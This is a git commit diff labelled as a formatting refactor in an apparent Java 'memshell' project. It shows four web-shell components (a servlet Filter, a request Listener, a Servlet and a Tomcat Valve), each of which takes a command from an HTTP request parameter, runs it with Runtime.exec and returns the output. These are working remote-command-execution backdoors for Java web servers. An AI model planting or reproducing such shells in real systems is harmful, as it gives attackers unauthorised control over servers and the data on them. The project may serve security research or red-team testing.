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refactor: format code

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ReaJason
2025-04-12 21:48:23 +08:00
parent 29d0d1b1e7
commit 29f854c6dd
5 changed files with 58 additions and 61 deletions
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memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
+10 -14
View File
@@ -23,22 +23,18 @@ public class CommandFilter implements Filter {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getParameter(paramName);
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
chain.doFilter(servletRequest, servletResponse);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
return;
}
chain.doFilter(servletRequest, servletResponse);
}
@Override
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
+21 -20
View File
@@ -17,26 +17,6 @@ public class CommandListener implements ServletRequestListener {
public CommandListener() {
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
@@ -65,4 +45,25 @@ public class CommandListener implements ServletRequestListener {
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
+9 -12
View File
@@ -22,19 +22,16 @@ public class CommandServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} catch (Exception ignored) {
}
}
}
memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
+10 -13
View File
@@ -41,20 +41,17 @@ public class CommandValve implements Valve {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return;
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} catch (Exception ignored) {
return;
}
this.getNext().invoke(request, response);
}